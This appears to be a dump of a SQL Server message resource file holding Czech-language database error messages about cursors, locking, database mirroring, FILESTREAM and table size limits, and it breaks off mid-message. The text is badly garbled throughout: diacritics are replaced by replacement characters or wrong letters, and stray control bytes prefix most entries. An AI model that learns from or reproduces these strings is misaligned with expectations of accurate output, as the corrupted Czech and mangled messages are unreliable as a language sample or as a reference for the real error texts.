�N�zev ulo~en� procedury nelze zadat pomoc� n�zvu existuj�c� funkce.

�V tomto kontextu nejsou povoleny agregace. Jsou povoleny pouze skal�rn� v�razy.

�V tomto kontextu nejsou povoleny poddotazy. Jsou povoleny pouze skal�rn� v�razy.

�Doalo ke konfliktu zadan�ch pomocn�ch parametro uzamyk�n�.

pDoalo ke konfliktu mo~nost� kurzoru %1!s! a %2!s!.

�Mo~nosti kurzoru nelze zadat kombinac� star� a nov� syntaxe.

xTato syntaxe je povolena pouze pro parametrick� dotazy.

Parametry kurzoru v ulo~en� proceduYe je tYeba deklarovat s mo~nostmi klauzul� OUTPUT a VARYING zadan�mi v poYad� CURSOR VARYING OUTPUT.

�Doalo ke konfliktu mo~nost� klauzule %1!s!, jedn� se o mo~nosti %2!s! a %3!s!.

8Chcete-li pou~�t pY�kaz DROP STATISTICS, je tYeba zadat n�zev objektu (tabulky 
i zobrazen�) a n�zev statistiky ve tvaru nazevobjektu.nazevstatistiky.

�V objektech sv�zan�ch se sch�matem nen� povoleno pou~it� syntaxe %1!s!.

�N�zev %1!s! je neplatn�, proto~e obsahuje znak hodnoty NULL nebo neplatn� znak standardu Unicode.

�Po
et elemento v seznamu SELECT pYekra
uje maxim�ln� povolen� po
et elemento (%1!s!).

�Funkci IDENTITY nelze pou~�t s pY�kazem SELECT INTO, kter� obsahuje oper�tor UNION, INTERSECT nebo EXCEPT.

�V deklaraci kurzoru nelze zadat oba parametry READ_ONLY a FOR READ ONLY.

�Mo~nost parseonly nelze nastavit nebo obnovit uvnitY procedury nebo funkce.

�Parametr po
tu Y�dko zadan� pro klauzuli TOP nebo FETCH mus� b�t cel� 
�slo.

�Konstanty datov�ho typu text, ntext, image zat�m nejsou implementov�ny.

�Klauzule TOP N WITH TIES nen� povolena bez odpov�daj�c� klauzule ORDER BY.

�Skupinu souboro nelze pYidat pomoc� pY�kazu ALTER DATABASE ADD FILE. Pou~ijte pY�kaz ALTER DATABASE ADD FILEGROUP.

xSoubory protokolu nemohou b�t sou
�st� skupiny souboro.

Pomocn� parametry z�mku NOLOCK a READUNCOMMITTED nejsou povoleny pro c�lov� tabulky pY�kazo INSERT, UPDATE, DELETE nebo MERGE.

�PY�kazy SET SHOWPLAN musej� b�t jedin�mi pY�kazy v dan� d�vce.

�Pro jednu tabulku je povolen pouze jeden seznam pomocn�ch parametro indexu.

�Pomocn� parametry indexu jsou povoleny pouze v klauzuli FROM nebo OPTION.

|Mo~nost pY�kazu CREATE INDEX %1!s! ji~ nen� podporov�na.

xPro vzd�lenou operaci JOIN nelze zadat algoritmus JOIN.

�Pomocn� parametr REMOTE lze zadat pouze s klauzul� INNER JOIN.

�Mo~nost %1!s! nen� zn�m� mo~nost kurzoru pro kurzor %2!s!.

\Vytv�Yen� do
asn�ch funkc� nen� povoleno.

�PY�kaz RETURN funkc� vracej�c�ch skal�rn� hodnotu mus� obsahovat argument.

hFunkce %1!s! po~aduje alespoH %2!s! argumento.

�Pou~it� pY�kazu INSERT do sloupce identity nen� pro promnn� tabulky povoleno.

H%1!s! %2!s! nen� zn�m� mo~nost.

�Promnnou, ke kter� je pYistupov�no pomoc� kurzoru, nelze pou~�t k zad�n� podm�nek vyhled�v�n� ve fulltextov�m predik�tu.

\Celo
�seln� hodnota %1!s! je mimo rozsah.

�%1!s! nepovoluje zad�n� n�zvu datab�ze jako pYedpony n�zvu sestaven�.

�Objekt %1!s! nepodporuje registraci synchronn� aktiva
n� ud�losti.

�V kontextu aktiva
n�ch ud�lost� na �rovni serveru a datab�ze nen� mo~nost OWNER pro pY�kaz EXECUTE AS platn�.

H%1!s! je neplatn� typ ud�losti.

pTyp ud�losti %1!s! nepodporuje oznamov�n� ud�lost�.

�Klauzule FOR XML a FOR JSON jsou neplatn� pro zobrazen�, vlo~en� funkce, odvozen� tabulky a poddotazy obsahuj�c� oper�tor SET. Pokud se chcete tomuto omezen� vyhnout, zabalte pY�kaz SELECT obsahuj�c� oper�tor SET pomoc� syntaxe odvozen� nebo zobrazen�/v�razu b~n� tabulky a teprve pak pou~ijte klauzuli FOR XML nebo FOR JSON.

dJe tYeba deklarovat promnnou tabulky %1!s!.

�Nelze naj�t objekt %1!s!. Objekt neexistuje nebo nem�te pY�sluan� opr�vnn�.

�PY�kaz SET FMTONLY OFF mus� b�t posledn� pY�kaz v dan� d�vce.

dNeplatn� v�choz� hodnota pro parametr %1!s!.

`Mo~nost %1!s! nen� platn� pro tuto funkci.

�V tomto kontextu nelze zadat n�zvy statistiky %1!s! pro mo~nost %2!s!.

`%1!s! nen� platn� n�zev zprostYedkovatele.

�N�zev sch�matu nelze zadat jako pYedponu n�zvu aktiva
n� ud�losti pro aktiva
n� ud�losti na �rovni datab�ze 
i serveru.

\%1!s! ji~ bylo zad�no jako typ ud�losti.

�V�choz� hodnoty parametro pro typy CLR nvarchar(max), varbinary(max), xml a aifrovan� typy nejsou podporovan�.

�V r�mci tohoto pY�kazu CREATE TRIGGER nelze pou~�t aktiva
n� ud�lost IF UPDATE.

�Zadan� typ 
i typy ud�lost� nejsou platn� pro zadan� c�lov� objekt.

\Klauzule ON nen� pro tento pY�kaz platn�.

pDatab�zi %1!s! nelze pYidlit novou str�nku, proto~e ve skupin souboro %2!s! nen� dostatek voln�ho m�sta. VytvoYte potYebn� m�sto vyYazen�m objekto ze skupiny souboro, pYid�n�m dala�ch souboro do skupiny souboro nebo nastaven�m vlastnosti Autogrowth na hodnotu On pro existuj�c� soubory ve skupin souboro.

�Bhem pYesunu doalo m�sto v datab�zi TEMPDB. Uvolnte m�sto zahozen�m nkter�ch objekto nebo pYepiate dotaz tak, aby spotYebov�val m�n Y�dko. Pokud probl�m pYetrv�v�, zva~te upgrade na vyaa� �roveH slu~by.

�V datab�zi %3!s! nelze pYidlit m�sto pro objekt %1!s! %2!s!, proto~e skupina souboro %4!s! je pln�. VytvoYte m�sto na disku odstrann�m nepotYebn�ch souboro, vyYazen�m objekto ze skupiny souboro, pYid�n�m dala�ch souboro do skupiny souboro nebo nastaven�m vlastnosti Autogrowth na hodnotu On pro existuj�c� soubory ve skupin souboro.

 Odebr�n� str�nky indexov� aloka
n� mapy (IAM) %1!s! se nezdaYilo, proto~e nkdo jin� pou~�v� objekt, do kter�ho tato str�nka IAM je patY�.

�PYidlov�n� m�sta nemo~e pYidlit str�nku v datab�zi %1!s!.

�Chyba tabulky: Str�nka %1!s!. Test (%2!s!) se nezdaYil. Adresa 0x%3!s! nen� zarovnan�.

�Chyba tabulky: Str�nka %1!s!. Neo
ek�van� typ str�nky %2!s!.

�Chyba tabulky: Str�nka %1!s!. Test (%2!s!) se nezdaYil. Pozice %3!s!, posun 0x%4!s! je neplatn�.

Chyba tabulky: Str�nka %1!s!. Test (%2!s!) se nezdaYil. Pozice %3!s!, Y�dek zasahuje do voln�ho prostoru na adrese 0x%4!s!.

�Chyba tabulky: Str�nka %1!s!. Test (%2!s!) se nezdaYil. Pozice %3!s!, posun 0x%4!s! se pYekr�v� s pYedchoz�m Y�dkem.

�Chyba tabulky: Str�nka %1!s!. Test (%2!s!) se nezdaYil. Hodnoty jsou %3!s! a %4!s!.

�Chyba tabulky: Str�nka (%1!s!:%2!s!), Y�dek %3!s!. Test (%4!s!) se nezdaYil. Hodnoty jsou %5!s! a %6!s!.

�Nelze vy
istit odlo~en� navr�cen� ze skupiny souboro %1!s!.

�Dos�hlo se limitu �lo~iat elastick�ho fondu. Vyu~it� �lo~iat elastick�ho fondu nesm� pYes�hnout (%1!s!) MB.

�Dos�hlo se limitu �lo~iat spravovan� instance. Vyu~it� �lo~iat spravovan� instance nesm� pYes�hnout (%1!s!) MB.

�Objekt zabezpe
en� datab�ze %1!s! neexistuje nebo u~ivatel nen� 
lenem.

�Proces s ID %1!s! se pokusil o odemknut� prostYedku, jeho~ nen� vlastn�kem: %2!s!. Opakujte transakci, proto~e pY�
inou t�to chyby mo~e b�t jen 
asov�n�. Pokud pot�~e potrvaj�, obraete se na spr�vce datab�ze.

hInstance datab�zov�ho stroje syst�mu SQL Server nemo~e nyn� z�skat prostYedek LOCK. Opakujte spuatn� pY�kazu v dob, kdy bude pYipojeno m�n aktivn�ch u~ivatelo. Obraete se na spr�vce datab�ze se ~�dost� o kontrolu konfigurace z�mku a pamti pro tuto instanci 
i o kontrolu dlouhotrvaj�c�ch transakc�.

DTransakce (ID procesu %1!s!) byla zablokov�na jin�m procesem na %2!s! prostYedc�ch a byla vybr�na jako obe vz�jemn�ho zablokov�n�. Spusete transakci znovu.

�Slu~ba MS DTC (Microsoft Distributed Transaction Coordinator) zruaila tuto distribuovanou transakci.

�PYi spuatn� nebylo mo~n� pYidlit �vodn� bloky z�mku (%1!s!). Server nelze spustit.

�PYi spuatn� nebylo mo~n� pYidlit �vodn� bloky vlastn�ka z�mku (%1!s!). Server nelze spustit.

�PYi migraci z�mku nebylo mo~n� pYidlit blok vlastn�ka z�mku. Server byl zastaven.

�Chyba pYi vytv�Yen� podY�zen�ho procesu vl�kna sledov�n� z�mku: %1!s!

�VnitYn� chyba. Existuje pY�lia mnoho paraleln�ch transakc�.

XKonfliktn� po~adavek ABORT_AFTER_WAIT = BLOCKERS 
ek� na vr�cen� st�vaj�c�ch transakc� zpt. Po~adavek nelze prov�st. Opakujte akci po dokon
en� pYedchoz�ho po~adavku.

�PY�kaz DDL s mo~nost� ABORT_AFTER_WAIT = BLOCKERS nelze dokon
it z dovodu konfliktn� syst�mov� �lohy. Po~adavek mo~e pYeruait pouze u~ivatelsk� transakce. Po
kejte na dokon
en� syst�mov� �lohy a opakujte akci.

�Vaae relace byla odpojena z dovodu operace DDL s vysokou prioritou.

xV transakci nejsou k dispozici ~�dn� dala� tY�dy z�mku.

lDatab�zov� stroj se pokoua� uvolnit skupinu z�mku, kter� nejsou aktu�ln pou~�v�na transakc�. Opakujte pokus o proveden� transakce. Pokud pot�~e potrvaj�, obraete se na podporu.

`Byl pYekro
en 
asov� limit ~�dosti o z�mek.

Nelze uvolnit z�mek aplikace (objekt zabezpe
en� datab�ze: %1!s!, prostYedek: %2!s!), proto~e z�mek nen� aktu�ln pou~�v�n.

�Objektu %1!s! byl pYed�n neplatn� prostYedek z�mku aplikace.

xObjektu %1!s! byl pYed�n neplatn� re~im z�mku aplikace.

�Objektu %1!s! byl pYed�n neplatn� vlastn�k z�mku aplikace.

�Objektu %1!s! byl pYed�n neplatn� 
asov� limit z�mku aplikace.

�Funkci 
i proceduYe z�mku aplikace byl pYed�n neplatn� parametr %1!s!.

�Objektu %1!s! byl pYed�n neplatn� objekt zabezpe
en� datab�ze.

0Spuatn� rutiny hlavn�ho vl�kna zrcadlen� datab�ze se nezdaYilo z tohoto dovodu: %1!s!. Opravte pY�
inu t�to chyby a restartujte slu~bu SQL Server.

,Monitorovac� server nenaael ~�dn� identifik�tor GUID zrcadlen� datab�ze {%1!s!-%2!s!-%3!s!-%4!s!%5!s!-%6!s!%7!s!%8!s!%9!s!%10!s!%11!s!}. Existuje neshoda v konfiguraci. Opakujte pY�kaz nebo znovu nastavte monitorovac� server pomoc� nkter�ho z partnero zrcadlen� datab�ze.

�Monitorovac� server relace zrcadlen� obdr~el odpov na chybu %1!s! (stav %2!s!) z instance serveru %3!s! pro datab�zi %4!s!. Dala� informace o t�to chyb naleznete v protokolu chyb v instanci tohoto serveru a v instanci partnersk�ho serveru.

�PY�kaz selhal, proto~e zrcadlen� datab�ze je zanepr�zdnno. Opakujte pY�kaz pozdji.

xZrcadlen� datab�ze je pro datab�zi %1!s! ji~ povoleno.

�Slu~bu nelze bezpe
n vynutit. PY�stup z�sk�te odebr�n�m zrcadlen� datab�ze %1!s! a jej�m obnoven�m.

�Vzd�len� kopie datab�ze %1!s! nen� v relaci s m�stn� kopi� t�to datab�ze.

LVzd�len� kopie datab�ze %1!s! jeat nen� dostate
n obnovena, aby alo povolit zrcadlen� datab�ze 
i pYipojen� datab�ze ke skupin dostupnosti. Pro vzd�lenou datab�zi je tYeba pou~�t chybj�c� z�znamy protokolu. To je mo~n� prov�st obnoven�m z�loh aktu�ln�ho protokolu z prim�rn� datab�ze.

Datab�ze %1!s! vy~aduje obnoven� protokolo datab�ze pro budouc� datab�zi zrcadlen� pYed povolen�m zrcadlen�, nebo pro sekund�rn� datab�zi dostupnosti pYed jej�m pYipojen�m ke skupin dostupnosti. Z�lohy aktu�ln�ho protokolu lze obnovit z prim�rn� datab�ze.

�Zrcadlen� vzd�len� kopie datab�ze %1!s! ji~ bylo povoleno.

LNebyl proveden dostate
n� po
et z�loh protokolu vzd�len� kopie datab�ze %1!s! potYebn� k dopYedn�mu obnoven� vaech souboro datab�ze ke spole
n�mu 
asov�mu bodu.

Nelze prov�st dopYedn� obnoven� vzd�len� kopie datab�ze %1!s! k 
asov�mu bodu, kter� je zahrnut v m�stn� kopii protokolu datab�ze.

pKomunikace s instanc� vzd�len�ho serveru %1!s! selhala pYed �pln�m spuatn�m zrcadlen� datab�ze. PY�kaz ALTER DATABASE se nezdaYil. Opakujte pY�kaz po spuatn� vzd�len� datab�ze.

�Ukon
ov�n� datab�ze pYed dokon
en�m �pln� inicializace zrcadlen� datab�ze. PY�kaz ALTER DATABASE se nezdaYil.

�Operace zrcadlen� datab�ze %1!s! se nezdaYila. Po~adovanou operaci nelze prov�st.

pDatab�ze %1!s! nen� nakonfigurov�na pro zrcadlen�.

lZrcadlen� datab�ze %1!s! bylo zak�z�no spr�vcem.

0S�eov� adresa serveru %1!s! nen� dostupn� nebo neexistuje. OvYte n�zev s�eov� adresy a spr�vn� fungov�n� porto pro m�stn� a vzd�len� koncov� body.

@Nejde otevY�t vzd�lenou kopii datab�ze %1!s!. OvYte n�zev datab�ze a zkontrolujte, jestli je datab�ze ve stavu umo~Huj�c�m obnoven�. Pot� opakujte pY�kaz.

�Zrcadlen� datab�ze nemo~e z�skat s�eov� n�zev hostitele. Doalo k chyb opera
n�ho syst�mu %1!s!. OvYte konfiguraci s�t.

`Komunikaci s instanc� vzd�len�ho serveru %1!s! se nepodaYilo dokon
it pYed uplynut�m 
asov�ho limitu. PY�kaz ALTER DATABASE nebyl pravdpodobn dokon
en. Opakujte pY�kaz.

Instance zrcadlov�ho serveru nen� zachycena v ned�vno proveden�ch zmn�ch datab�ze %1!s!. Nelze pYevz�t slu~by pYi selh�n�.

LN�zev vlastnosti nen� podporov�n.

�V instanci vzd�len�ho serveru existuje aktu�lnja� hodnota vlastnosti %1!s!. Hodnota vlastnosti nebyla zmnna.

�Hodnota vlastnosti pro objekt %1!s! je neplatn�. Hodnota vlastnosti nebyla zmnna.

hVytvoYen� pY�kazu ALTER DATABASE SET WITNESS vy~aduje vz�jemn� propojen� vaech tY� instanc� servero a zachycen� zrcadlov� datab�ze. Po splnn� tchto podm�nek opakujte pY�kaz.

�Instance serveru %1!s! nemo~e plnit funkci monitorovac�ho serveru. PY�kaz ALTER DATABASE se nezdaYil.

�}�dost byla odm�tnuta, proto~e stav instance odpov�daj�c�ho serveru neumo~Huje zajiatn� slu~by pro tuto ~�dost.

8N�zev instance monitorovac�ho serveru mus� b�t odlian� od n�zvu obou instanc�, kter� spravuj� datab�zi. PY�kaz ALTER DATABASE SET WITNESS se nezdaYil.

�Datab�ze %1!s! je v nestabiln�m stavu pro odebr�n� zrcadlen�. Je mo~n�, ~e se obnoven� nezdaY�. Po obnoven� ovYte data.

,Instance partnersk�ho ani monitorovac�ho serveru pro datab�zi %1!s! nejsou dostupn�. Opakujte pY�kaz, a~ bude alespoH jedna z instanc� dostupn�.

�Vz�jemn� propojen� vaech tY� instanc� servero nebylo zachov�no po celou dobu prov�dn� pY�kazu ALTER DATABASE SET WITNESS. K datab�zi mo~n� nebude pYidru~en monitorovac� server. OvYte stav a v pY�pad potYeby pY�kaz opakujte.

Byla pYijata neplatn� 
i neo
ek�van� zpr�va zrcadlen� datab�ze %1!s! s typem zpr�vy %2!s! ze serveru %3!s! datab�ze %4!s!.

Objekt %1!s! pYijal neo
ek�vanou chybovou odpov zrcadlen� datab�ze: stav %2!s!, z�va~nost %3!s!, stav %4!s!, Yetzec %5!s!.

�ID slu~by Service Broker pro vzd�lenou kopii datab�ze %1!s! se neshoduje s ID na prim�rn�m serveru.

pZ instance serveru %2!s! nelze odeslat zpr�vu %1!s!, proto~e k proveden� t�to akce nen� dostatek pamti. Sni~te zat�~en� pamti, kter� nen� nezbytn�, 
i navyate syst�movou pame.

lInstance serveru %1!s! odm�tla ~�dost o konfiguraci. Dala� informace naleznete v souboru protokolu chyb. Spole
nost Microsoft mo~e vyu~�t dovod %2!s! a stav %3!s! k diagnostice. Tato chyba je pYechodn�, proto opakov�n� ~�dosti bude pravdpodobn �span�. Opravte pY�
inu, pokud existuje, a opakujte akci.

�K datab�zi %1!s! nen� aktu�ln pYidru~en ~�dn� monitorovac� server.

XPY�kaz ALTER DATABASE %1!s! nejde prov�st, dokud instance obou partnersk�ch servero nebudou aktivn�, spuatn� a pYipojen�. Spusete partnersk� server a opakujte pY�kaz.

�Vzd�len� kopie datab�ze %1!s! neexistuje. Zkontrolujte n�zev datab�ze a opakujte pY�kaz.

�PY�kaz ALTER DATABASE se nezdaYil, proto~e pYipojovac� Yetzec serveru je neplatn�.

�PY�kaz ALTER DATABASE se nezdaYil, proto~e nelze vytvoYit pracovn� vl�kno.

�Informace o monitorov�n� datab�ze nebyly v syst�mov� tabulce nalezeny.

(N�zev instance partnersk�ho serveru mus� b�t odlian� od n�zvu instance, kter� spravuje datab�zi. PY�kaz ALTER DATABASE SET PARTNER se nezdaYil.

DVe vzd�len�m partnersk�m serveru zrcadlen� %1!s! pro datab�zi %2!s! doalo k chyb %3!s!, stav %4!s!, z�va~nost %5!s!. Zrcadlen� datab�ze bylo pozastaveno. VyYeate chybu na vzd�len�m serveru a pokra
ujte v zrcadlen� nebo odeberte zrcadlen� a znovu vytvoYte instanci zrcadlov�ho serveru.

�Zrcadlen� datab�ze bude pozastaveno. V instanci serveru %1!s! doalo k chyb %2!s!, stav %3!s!, z�va~nost %4!s! pYi pou~it� instance serveru jako partnera zrcadlen� pro datab�zi %5!s!. PartneYi zrcadlen� datab�ze se mohou automaticky pokusit o zotaven� po chyb a pokra
ovat v relaci zrcadlen�. Dala� informace naleznete v protokolu chyb v dala�ch chybov�ch zpr�v�ch.

Nelze vynutit slu~bu zrcadlen� pro datab�zi %1!s!, proto~e datab�ze nen� ve stavu, ve kter�m by mohla fungovat jako prim�rn� datab�ze.

pPY�kaz ALTER DATABASE nelze odeslat instanci vzd�len�ho serveru %1!s!. Zmna konfigurace zrcadlen� datab�ze nebyla provedena. OvYte, zda je server pYipojen a pot� akci opakujte.

|Synchronizace zrcadlov� datab�ze %1!s! byla pYeruaena. Datab�ze vaak zostala v nekonzistentn�m stavu. PY�kaz ALTER DATABASE se nezdaYil. Je-li prim�rn� datab�ze dostupn�, ovYte, zda je opt aktivn� a online a pot� znovu pYipojte instanci zrcadlov�ho serveru a umo~nte zrcadlov� datab�zi dokon
en� synchronizace.

�PYi odes�l�n� str�nky %5!s! k zrcadlen� doalo v prim�rn� kopii datab�ze %1!s! k chyb %2!s!, stav %3!s!, z�va~nost %4!s!. Zrcadlen� datab�ze bylo pozastaveno. Pokuste se odstranit chybovou podm�nku a obnovte zrcadlen�.

<PYi pY�stupu k metadatom zrcadlen� datab�ze doalo k chyb. Zruate zrcadlen� (ALTER DATABASE database_name SET PARTNER OFF) a znovu provete konfiguraci.

XZrcadlen� pro datab�zi %1!s! ji~ bylo nakonfigurov�no na vzd�len�m serveru. Chcete-li vytvoYit nov� partnersk� server, zruate zrcadlen� datab�ze na vzd�len�m serveru.

�Zrcadlen� datab�ze je zak�z�no z dovodu nezdaYen� operace opakov�n� akce. Nelze pokra
ovat d�le.

�Zrcadlen� datab�ze nen� v t�to edici instance syst�mu SQL Server dostupn�. Podrobn� informace o podporovan�ch funkc�ch v rozn�ch edic�ch syst�mu SQL Server naleznete v dokumentaci Knihy online.

�Datab�ze %1!s! nen� ve stavu umo~Huj�c�m obnoven�, kter� je po~adov�n pro zrcadlen� datab�ze nebo sekund�rn� datab�ze. Obnoven� vzd�len� datab�ze je tYeba prov�st pomoc� pY�kazu WITH NORECOVERY.

pDatab�ze %1!s! nen� ve vaech instanc�ch serveru v re~imu �pln�ho obnoven�. Aby se datab�ze mohla �
astnit zrcadlen� 
i skupiny dostupnosti, je tYeba pou~�t model �pln�ho obnoven�.

�Datab�ze %1!s! je jedn� z instanc� serveru jen pro 
ten�. To nen� kompatibiln� s �
ast� v zrcadlen� datab�ze 
i ve skupin dostupnosti. Nastavte datab�zi do re~imu pro 
ten� i z�pis a operaci opakujte.

XDatab�ze %1!s! je v jednom z partnersk�ch um�stn� v nouzov�m re~imu 
i re~imu podezYen�. To nen� kompatibiln� s �
ast� v zrcadlen� datab�ze 
i ve skupin dostupnosti.

�Operaci s datab�zi %1!s! nelze prov�st, proto~e datab�ze je zahrnuta do relace zrcadlen� datab�ze 
i skupiny dostupnosti. Pro datab�ze, kter� se �
astn� relace zrcadlen� datab�ze 
i skupiny dostupnosti, nejsou nkter� operace povoleny.

pDatab�ze %1!s! je v jednom z partnersk�ch um�stn� nastavena jako datab�ze s automatick�m ukon
en�m. To nen� kompatibiln� s �
ast� v zrcadlen� datab�ze 
i ve skupin dostupnosti.

�Datab�zi roza�Yen� konfigura
n�ch hodnot tohoto partnera lze spustit pouze na prim�rn�m serveru datab�ze %1!s!.

�PYipojen� zrcadlen� datab�ze bylo ukon
eno. Nedostatek pamti pYi odes�l�n� zpr�vy datab�ze %1!s!.

�PYipojen� zrcadlen� datab�ze bylo ukon
eno. Chyba komunikace pYi odes�l�n� zpr�vy datab�ze %1!s!.

�Zmna �rovn zabezpe
en� nen� v t�to edici syst�mu SQL Server povolena. PY�kaz ALTER DATABASE se nezdaYil.

|Chyba pYipojen� zrcadlen� datab�ze %1!s! %2!s! pro %3!s!

xDatab�ze %1!s! pravdpodobn obsahuje hromadn protokolovan� zmny, kter� nebyly z�lohov�ny. Provete z�lohu protokolu prim�rn� datab�ze. Pot� tuto z�lohu obnovte v datab�zi zrcadlen�, 
�m~ povol�te zrcadlen� datab�ze, nebo ve vaech sekund�rn�ch datab�z�ch, 
�m~ umo~n�te jej� pYipojen� ke skupin dostupnosti.

�Hodnota 
asov�ho limitu zrcadlen� datab�ze %1!s! pYesahuje maxim�ln� hodnotu 32767.

�Chcete-li pou~�t ru
n� pYevzet� slu~eb pYi selh�n� datab�ze %1!s!, �roveH zabezpe
en� zrcadlen� datab�ze mus� b�t nastavena na hodnotu FULL. Nastavte �roveH zabezpe
en� na hodnotu FULL a opakujte akci.

Zrcadlov� datab�ze %1!s! nem� dostatek dat transak
n�ho protokolu pro zachov�n� Yetzce z�lohy protokolu prim�rn� datab�ze. To mo~e nastat, pokud nebyla vytvoYena z�loha protokolu z prim�rn� datab�ze nebo pokud tato z�loha nebyla obnovena v zrcadlov� datab�zi.

 Pro datab�zi %2!s! vyprael 
asov� limit pYipojen� zrcadlen� k %1!s! po %3!s! sekund�ch bez odezvy. Zkontrolujte slu~bu a pYipojen� k s�ti.

|Zrcadlen� datab�ze nejde pro datab�zi %1!s! nastavit, proto~e m� tato datab�ze zapnut� zrychlen� obnoven� datab�ze nebo st�le existuj� njak� verze v trval�m �lo~iati verz�. Pokud je zrychlen� obnoven� datab�ze zak�zan�, spusete pY�kaz sys.sp_persistent_version_cleanup '<nazev_db>' na vy
istn� pYechoz�ch verz�.

�Datab�ze %1!s! je v jednou~ivatelsk�m re~imu. To nen� kompatibiln� s �
ast� v zrcadlen� datab�ze 
i ve skupin dostupnosti. Nastavte datab�zi do re~imu pro v�ce u~ivatelo a operaci opakujte.

�Vzd�len� kopie datab�ze %1!s! nebyla obnovena do z�lohy protokolu obsahuj�c� vaechny datov� soubory filestream.

�Povolen� zrcadlen� datab�ze nejde prov�st, proto~e datab�ze %1!s! u~ m� povolenou mo~nost REMOTE_DATA_ARCHIVE.

�Chyba zrcadlen� datab�ze: stav %1!s!, z�va~nost %2!s!, stav %3!s!, Yetzec %4!s!.

hChyba Yazen�. Obraete se na technickou podporu.

HPY�kaz CREATE UNIQUE INDEX byl ukon
en, proto~e byl nalezen duplicitn� kl�
 pro n�zev objektu %1!s! a n�zev indexu %2!s!. Hodnota duplicitn�ho kl�
e je %3!s!.

DPorovn�n� Y�dko pYi Yazen� se nezdaYilo z dovodu nezn�m�ho datov�ho typu v kl�
ov�m sloupci. Metadata mohou b�t poakozena. Obraete se na technickou podporu.

�Chyba Yazen�. Nedostatek m�sta 
i uzam
en� datab�ze %1!s!.

tXazen� nelze sjednotit pomoc� transak
n�ho protokolu.

NezdaYen� operace Yazen� pYi sestavovan� indexu. Xazen� bylo ukon
eno, aby nedoalo k pYeps�n� aloka
n� str�nky v datab�zi %1!s!. Spuatn�m pY�kazu DBCC CHECKDB mo~ete zkontrolovat chyby pYidlen� a konzistence. Pravdpodobn bude nutn� obnovit datab�zi ze z�lohy.

�Chyba Yazen�. Nelze navr�tit nespr�vn� rozsah. Obraete se na technickou podporu.

tNov� spuatn� Yazen� za
�naj�c� na str�nce %1!s! nalezlo rozsah, kter� nen� ozna
en jako sd�len�. Opakujte pokus o proveden� transakce. Pokud pot�~e potrvaj�, obraete se na podporu.

�Nelze sd�let rozsah %1!s!. Spr�vn� rozsahy nelze ur
it. Opakujte pokus o proveden� transakce.

 Rozsah %1!s! nelze nal�zt v adres�Yi sd�len�ch rozsaho. Opakujte pokus o proveden� transakce. Pokud pot�~e potrvaj�, obraete se na podporu.

,Nelze sd�let rozsah %1!s!. Adres�Y sd�len�ch rozsaho je pln�. Opakujte pokus o proveden� transakce. Pokud pot�~e potrvaj�, obraete se na podporu.

|Nelze pYeruait Yazen�, kter� nen� ve f�zi zad�v�n� Y�dko.

�Do Yazen� nelze vlo~it Y�dek, pokud Yazen� nen� ve f�zi zad�v�n� Y�dko.

(Nelze Yadit Y�dek velikosti %1!s!, co~ je v�ce ne~ povolen� maxim�ln� velikost %2!s!. Zva~te optovn� odesl�n� dotazu pomoc� rady ROBUST PLAN.

�Chyba Yazen�. PodezYen� na vadnou funkci porovn�n� typu CLR.

�VytvoYen� 
i zmna tabulky %1!s! se nezdaYily, proto~e minim�ln� velikost Y�dku by byla %2!s! v
etn %3!s! bajto vnitYn� re~ie. To je v�ce ne~ maxim�ln� povolen� velikost Y�dku tabulky %4!s! bajto.

PY�kaz CREATE TABLE se nezdaYil, proto~e pou~it�m sloupce %1!s! v tabulce %2!s! byl pYekro
en maxim�ln� po
et sloupco %3!s!.

�Syst�movou tabulku %1!s! lze vytvoYit 
i zmnit pouze pYi upgradu.

�Pro dlenou tabulku nelze zadat skupinu souboro TEXTIMAGE_ON.

�Skupinu souboro TEXTIMAGE_ON nelze zadat, pokud tabulka obsahuje sloupce datov�ho typu no text, ntext, image, varchar(max), nvarchar(max), varbinary(max), kter� nen� FILESTREAM, xml nebo large CLR.

Nelze definovat omezen� PRIMARY KEY pro sloupec %1!s! tabulky %2!s!. Po
�tan� sloupec mus� b�t trval� a nesm� m�t mo~nou hodnotu null.

�Online operace indexu lze prov�dt pouze v edici Enterprise syst�mu SQL Server.

TNelze prov�st operaci %1!s! v tabulce 
i pomoc� tabulky %2!s!, proto~e tabulka je c�lovou tabulkou 
i sou
�st� aktu�ln prov�dn� kask�dov� akce aktiva
n� ud�losti.

�Zmna tabulky se nezdaYila, proto~e byla vy
erp�na ID jedine
n�ch sloupco pro tabulku %1!s!.

VytvoYen� ciz�ho kl�
e %1!s! se nezdaYilo. Pro odkazuj�c� po
�tan� sloupec %2!s! je povolena pouze referen
n� akce aktualizace NO ACTION.

lNelze zadat klauzuli FILESTREAM_ON, jestli~e tabulka neobsahuje ~�dn� sloupce FILESTREAM. Odeberte klauzuli FILESTREAM_ON z pY�kazu nebo pYidejte sloupec FILESTREAM do tabulky.

�Klauzuli FILESTREAM_ON nelze zadat spole
n se sch�matem odd�lu v klauzuli ON.

�Aby bylo mo~n� povolit sledov�n� zmn tabulky %2!s!, sledov�n� zmn mus� b�t nejprve povoleno v datab�zi %1!s!.

|Data FILESTREAM nelze um�stit do pr�zdn� skupiny souboro.

�Skupinu souboro FILESTREAM 
i sch�ma odd�lu nelze zruait, proto~e tabulka %1!s! obsahuje sloupce FILESTREAM.

LZmna tabulky %1!s! se nezdaYila, proto~e velikost Y�dku pYi pou~it� form�tu ulo~en� vardecimal pYesahuje maxim�ln� povolenou velikost Y�dku tabulky %2!s! bajto.

�Nelze %1!s! %2!s! %3!s!, proto~e pro data FILESTREAM nen� zad�no sch�ma odd�lu.

Nelze prov�st operaci%1!s! s objektem %2!s! %3!s!, proto~e sch�ma odd�lu bylo zad�no pro data FILESTREAM, nikoli pro tabulku.

�Skupina souboro %1!s! nen� skupina souboro FILESTREAM 
i sch�ma odd�lu skupin souboro FILESTREAM.

�Sloupec FILESTREAM nelze pYidat do objektu %1!s! %2!s!, proto~e existuje aktiva
n� ud�lost INSTEAD OF na objektu %3!s!.

Nelze pYidat skupinu FILESTREAM 
i sch�ma odd�lu, proto~e tabulka %1!s! ji~ skupinu souboro FILESTREAM 
i sch�ma odd�lu obsahuje.

�V tabulce %2!s! nelze vytvoYit neclusterovan� index %1!s! pomoc� klauzule FILESTREAM_ON.

�V tabulce %2!s! nelze vytvoYit index %1!s!, proto~e po
�tan� sloupec %3!s! pou~�v� sloupec FILESTREAM.

�Nelze vytvoYit tabulku %1!s!, proto~e dlic� sloupec %2!s! pou~�v� sloupec FILESTREAM.

�VytvoYen� 
i zmna komprimovan� tabulky %1!s! se nezdaYily, proto~e minim�ln� velikost nekomprimovan�ch Y�dko by byla %2!s! v
